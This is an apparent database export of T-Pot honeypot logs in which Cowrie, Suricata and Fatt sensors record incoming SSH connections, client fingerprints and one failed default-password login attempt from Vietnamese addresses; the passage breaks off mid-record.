25436	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:50.778872+03	2021-09-20 14:15:10.13447+03	{"_id": "-QblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "636d77f75103", "@version": "1", "duration": 2.8126614093780518, "timestamp": "2021-09-20T11:09:50.778872Z", "@timestamp": "2021-09-20T11:09:50.778Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25437	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:50.836833+03	2021-09-20 14:15:10.13647+03	{"_id": "-gblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [pi/pi] failed", "session": "c1c7ec8ff97e", "@version": "1", "password": "pi", "username": "pi", "timestamp": "2021-09-20T11:09:50.836833Z", "@timestamp": "2021-09-20T11:09:50.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25438	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:51.171271+03	2021-09-20 14:15:10.137471+03	{"_id": "-wblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "16dc7c646d81", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:51.171271Z", "@timestamp": "2021-09-20T11:09:51.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25439	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:51.313638+03	2021-09-20 14:15:10.138471+03	{"_id": "_AblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "615d1775190b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:51.313638Z", "@timestamp": "2021-09-20T11:09:51.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25440	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:51.387134+03	2021-09-20 14:15:10.140471+03	{"_id": "_QblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "16dc7c646d81", "@version": "1", "timestamp": "2021-09-20T11:09:51.387134Z", "@timestamp": "2021-09-20T11:09:51.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25441	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:51.808108+03	2021-09-20 14:15:10.141471+03	{"_id": "_wblAnwBvYTbRNuE4BmV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1639483170597662, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57590, "dest_port": 22, "timestamp": "2021-09-20T11:09:51.808108Z", "@timestamp": "2021-09-20T11:09:51.808Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25442	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:51.347264+03	2021-09-20 14:15:10.14247+03	{"_id": "AQblAnwBvYTbRNuE4Rqo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49014, "timestamp": "2021-09-20T11:09:51.347264", "@timestamp": "2021-09-20T11:09:51.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25443	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:51.533077+03	2021-09-20 14:15:10.14447+03	{"_id": "AgblAnwBvYTbRNuE4Rqo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57590, "timestamp": "2021-09-20T11:09:51.533077", "@timestamp": "2021-09-20T11:09:51.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
40356	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:44:14.551+03	2021-09-20 15:45:03.951049+03	{"_id": "sAY8A3wBvYTbRNuESXzq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 62456, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1464843729004632, "@version": "1", "in_iface": "enp5s0", "src_port": 34298, "dest_port": 53, "timestamp": "2021-09-20T12:44:14.551000Z", "@timestamp": "2021-09-20T12:44:14.551Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25444	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:53.290876+03	2021-09-20 14:15:10.14547+03	{"_id": "OQblAnwBvYTbRNuE6Bpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1975353908151182, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43354, "dest_port": 22, "timestamp": "2021-09-20T11:09:53.290876Z", "@timestamp": "2021-09-20T11:09:53.290Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25445	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:53.25207+03	2021-09-20 14:15:10.14647+03	{"_id": "OwblAnwBvYTbRNuE6Rp6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45208, "timestamp": "2021-09-20T11:09:53.252070", "@timestamp": "2021-09-20T11:09:53.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25446	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:53.291002+03	2021-09-20 14:15:10.147469+03	{"_id": "OgblAnwBvYTbRNuE6Rp6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43354, "dest_port": 22, "timestamp": "2021-09-20T11:09:53.291002", "@timestamp": "2021-09-20T11:09:53.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25447	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:44.409129+03	2021-09-20 14:15:10.14847+03	{"_id": "VgblAnwBvYTbRNuExRk5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1035692372592214, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57384, "dest_port": 22, "timestamp": "2021-09-20T11:09:44.409129Z", "@timestamp": "2021-09-20T11:09:44.409Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25448	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:44.435584+03	2021-09-20 14:15:10.15047+03	{"_id": "VwblAnwBvYTbRNuExhlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 